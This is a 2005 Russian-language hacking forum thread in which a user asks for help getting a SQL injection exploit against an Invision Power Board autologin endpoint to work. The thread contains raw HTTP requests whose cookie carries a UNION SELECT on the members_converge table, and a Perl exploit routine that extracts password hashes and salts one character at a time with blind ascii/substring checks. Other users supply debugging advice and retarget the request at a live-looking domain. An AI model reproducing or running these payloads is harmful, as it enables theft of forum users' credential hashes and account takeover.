Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
В общем делаю запрос в сокеты! и Не чего не возвращает! |

01.08.2005, 01:19
|
|
Познающий
Регистрация: 29.07.2005
Сообщений: 58
Провел на форуме: 42372
Репутация:
0
|
|
В общем делаю запрос в сокеты! и Не чего не возвращает!
В общем делаю такой запрос!
GET localhost/forum/index.php?act=Login&CODE=autologin HTTP/1.0
Accept: */*
Host: localhost
Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/*
Connection: close
А возвращает вот что:
HTTP/1.1 400 Bad Request
Date=Mon, 01 Aug 2005 21:19:41 GMT
Server=Apache/1.3.31 (Win32) PHP/4.3.10
Connection=close
Transfer-Encoding=chunked
Content-Type=text/html; charset=iso-8859-1
Я не могу получишь ХЕШ...
Чё я не так делаю?
|
|
|

01.08.2005, 01:22
|
|
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме: 2263418
Репутация:
300
|
|
чем ты его делаешь ? и как
|
|
|

01.08.2005, 01:32
|
|
Познающий
Регистрация: 29.07.2005
Сообщений: 58
Провел на форуме: 42372
Репутация:
0
|
|
Сообщение от AIN
В общем делаю такой запрос!
А возвращает вот что:
Я не могу получишь ХЕШ...
Чё я не так делаю?
В общем сечас пытаюсь делать программой InetCrack А если получится буду
делать программу... Вот карочий PERL не знаю что смог вытенуть с сплойта то
и вытинул...
$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non)  $eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass)  "legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);
|
|
|

01.08.2005, 12:35
|
|
Познающий
Регистрация: 01.08.2005
Сообщений: 35
Провел на форуме: 98352
Репутация:
42
|
|
попробуй заменить localhost на домен сервера, и в GET запросе добавить http://
GET http://www.site.ru/forum/index.php?a...CODE=autologin HTTP/1.0
Accept: */*
Host: site.ru
Cookie: member_id=31337420; pass_hash=1%2527+union+select+converge_id,converge _pass_salt,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 +from+ibf_members_converge+where+converge_id%3D1+/*
Connection: close
|
|
|

01.08.2005, 14:51
|
|
Познающий
Регистрация: 29.07.2005
Сообщений: 58
Провел на форуме: 42372
Репутация:
0
|
|
Не фига не чего не возвращает а запрос ка OK. принел но MYSQL не выполняет
блин ПАРЮСЬ Я ПАРЮСЬ...
Лучше помогите перевести это:
Если не трудно перевидет на язык DELPHI...
Sub check($)
{
$n++;
status();
$ccheck = $_[0];
$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non)  $eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass)  "legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);
while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) {
return 1; }
}
return 0;
}
Или хотя бы эти строки
$non="1%2527+union+select+converge_id%2Cconverge_p ass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2 C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$pre fix."members_converge+where+%28converge_id%3D";
$eas="1%2527+OR+%28id%3D";
$pass_hash1 = ($flag)?($non)  $eas);
$pass_hash2 = "+AND+ascii%28substring%28";
$pass_hash3 = (($flag)?($pass)  "legacy_password")).",".$s_num." ,1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3);
|
|
|

01.08.2005, 20:29
|
|
Новичок
Регистрация: 30.07.2005
Сообщений: 13
Провел на форуме: 12722
Репутация:
0
|
|
В конце пакета незабуть ставить два пробела, и для начала работай с асинхронным сокетом, иначе должны быть спец приемы чтоб получить ответ. Сам парился пока писал флудер.
|
|
|

01.08.2005, 22:19
|
|
Познающий
Регистрация: 01.08.2005
Сообщений: 35
Провел на форуме: 98352
Репутация:
42
|
|
>В конце пакета незабуть ставить два пробела
Наверное ты имел в виду 2 перевода строки (#13#10)
На практике надо ставить в конец пакета 1 перевод строки (в RFC 2616 сказано ставить 1)
Последний раз редактировалось .FUF; 01.08.2005 в 22:22..
|
|
|

01.08.2005, 22:30
|
|
Новичок
Регистрация: 30.07.2005
Сообщений: 13
Провел на форуме: 12722
Репутация:
0
|
|
Верно перевод строки. Я пишу на BuilderC++6 и правильно заработало только с 2мя переводами.
|
|
|

02.08.2005, 02:47
|
|
Познающий
Регистрация: 29.07.2005
Сообщений: 58
Провел на форуме: 42372
Репутация:
0
|
|
Ну тогда дайте на B...c++6?
|
|
|

02.08.2005, 17:08
|
|
Познающий
Регистрация: 29.07.2005
Сообщений: 58
Провел на форуме: 42372
Репутация:
0
|
|
Где вы?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|